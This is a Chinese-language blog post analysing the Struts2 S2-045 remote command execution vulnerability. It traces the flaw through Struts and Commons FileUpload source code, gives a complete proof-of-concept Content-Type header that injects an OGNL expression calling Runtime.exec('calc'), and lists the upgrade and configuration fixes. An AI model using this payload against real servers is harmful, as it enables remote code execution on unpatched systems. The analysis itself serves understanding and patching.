Struts2远程命令执行漏洞 S2-045 源码分析
2017-03-08 02:04
801 查看
Struts2 又爆OGNL的高危漏洞S-045,又是OGNL的漏洞
JakartaStreamMultiPartRequest.java中
当解析上传协议抛出异常的时候,struts 会去尝试去构建错误信息
为了保证错误信息可以支持多语言,在构建上传错误的时候,使用了localizedTextUtil,
1. 使用struts.messages.upload.error. classname 作为资源的文件的key
2. 直接使用了异常的message 作为查找的默认message
struts 尝试从default message里获取内容
传入的key无法在资源文件中找到的时候,会直接使用默认的message 也就是刚才的异常的信息作为返回的信息,但是在将message格式化的时候,struts定义的message 使用了TextParseUtil.translateVariables 转化message里的参数,熟悉OGNL的人都知道,TextParseUtil.translateVariables 是支持OGNL的
TextParseUtil.translateVariables
可以执行在message体中的${ognl}或者%{ognl}OGNL表达式格式
很幸运,我们在FileUploadBase.java中,发现了一个方法
当content type不是以multipart/为头的时候,就会抛出异常,并且直接将客户端输入的信息,作为异常信息返回
结果竟然是contains, 而在upload file里做的校验是以multipart/为头,真不知道struts 为何在做标准协议解析的时候如此随便?
b. 构造 test multipart/form-data 绕过struts的dispatch的防御
c. 继续添加常见的OGNL的表达式
完整的POC
注意:这里要仔细检查common upload的代码,或者自己封装的MultiPartRequest,如果还有直接输出客户端的输入的时候,需要写全
struts.messages.upload.error.*
漏洞分析
1. Struts 的上传request
在上传文件里,Struts默认使用的是common upload 的上传组件, 为了能被action访问到上传的文件,通常会重新封装request, Spring也是这么做。JakartaStreamMultiPartRequest.java中
public void parse(HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (Exception e) { e.printStackTrace(); String errorMessage = buildErrorMessage(e, new Object[]{}); if (!errors.contains(errorMessage)) errors.add(errorMessage); } }
当解析上传协议抛出异常的时候,struts 会去尝试去构建错误信息
protected String buildErrorMessage(Throwable e, Object[] args) { String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) { LOG.debug("Preparing error message for key: [#0]", errorKey); } return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); }
为了保证错误信息可以支持多语言,在构建上传错误的时候,使用了localizedTextUtil,
1. 使用struts.messages.upload.error. classname 作为资源的文件的key
2. 直接使用了异常的message 作为查找的默认message
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args, ValueStack valueStack) { String indexedTextName = null; ...... // get default GetDefaultMessageReturnArg result; if (indexedTextName == null) { result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage); } else { result = getDefaultMessage(aTextName, locale, valueStack, args, null); if (result != null && result.message != null) { return result.message; } result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage); } // could we find the text, if not log a warn if (unableToFindTextForKey(result) && LOG.isDebugEnabled()) { String warn = "Unable to find text for key '" + aTextName + "' "; if (indexedTextName != null) { warn += " or indexed key '" + indexedTextName + "' "; } warn += "in class '" + aClass.getName() + "' and locale '" + locale + "'"; LOG.debug(warn); } return result != null ? result.message : null; }
struts 尝试从default message里获取内容
/** * Gets the default message. */ private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args, String defaultMessage) { GetDefaultMessageReturnArg result = null; boolean found = true; if (key != null) { String message = findDefaultText(key, locale); if (message == null) { message = defaultMessage; found = false; // not found in bundles } // defaultMessage may be null if (message != null) { MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale); String msg = formatWithNullDetection(mf, args); result = new GetDefaultMessageReturnArg(msg, found); } } return result; }
传入的key无法在资源文件中找到的时候,会直接使用默认的message 也就是刚才的异常的信息作为返回的信息,但是在将message格式化的时候,struts定义的message 使用了TextParseUtil.translateVariables 转化message里的参数,熟悉OGNL的人都知道,TextParseUtil.translateVariables 是支持OGNL的
TextParseUtil.translateVariables
可以执行在message体中的${ognl}或者%{ognl}OGNL表达式格式
2. Common Upload file 的处理
既然在Struts里是可以直接执行异常里的错误信息,那么在common upload file 组件的异常里我们看看哪些是会把客户端传递的值作为错误信息返回很幸运,我们在FileUploadBase.java中,发现了一个方法
FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException { if (ctx == null) { throw new NullPointerException("ctx parameter"); } String contentType = ctx.getContentType(); if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType)); }
当content type不是以multipart/为头的时候,就会抛出异常,并且直接将客户端输入的信息,作为异常信息返回
3.各自的content-type校验
Struts 在dispatch 里在封装request的时候做了一次content-type校验public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { // don't wrap more than once if (request instanceof StrutsRequestWrapper) { return request; } String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); } return request; }
结果竟然是contains, 而在upload file里做的校验是以multipart/为头,真不知道struts 为何在做标准协议解析的时候如此随便?
构造我们的poc
a. 显然是content-type入手b. 构造 test multipart/form-data 绕过struts的dispatch的防御
c. 继续添加常见的OGNL的表达式
%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
完整的POC
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundary=AaB03x
防御
1. 升级struts
Struts 禁止了异常的信息可执行OGNL表达式,在2.3.32版本中if (LocalizedTextUtil.findText(this.getClass(), errorKey, getLocale(), null, new Object[0]) == null) { return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() }); } else { return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args); }异常信息只是作为参数传递显示了
2. 临时解决方案
在资源文件中配置,让struts能从资源文件中获取到值struts.messages.upload.error.InvalidContentTypeException=exception
注意:这里要仔细检查common upload的代码,或者自己封装的MultiPartRequest,如果还有直接输出客户端的输入的时候,需要写全
struts.messages.upload.error.*
相关文章推荐
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 9.漏洞验证系列--Apache Struts2 远程命令执行(S2-045)
- struts2远程命令执行漏洞S2-045
- 漏洞--Struts2远程命令执行S2-016
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
- Struts2 S2 – 032远程代码执行漏洞分析报告 .
- Struts2(s2-016)远程代码执行漏洞详细代码分析
- struts2-045远程命令执行漏洞
- PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037)
- Struts2 S2 – 032远程代码执行漏洞分析报告
- Struts2远程命令执行漏洞分析及防范
- Struts2 REST插件远程执行命令漏洞全面分析,WAF支持检测防御
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- struts2远程命令执行漏洞
- Struts2再爆远程命令执行漏洞!Struts2-048 Poc Shell及防御修复方案抢先看!
- 【重大漏洞预警】Struts2 远程代码执行漏洞 S2-045 原理初步分析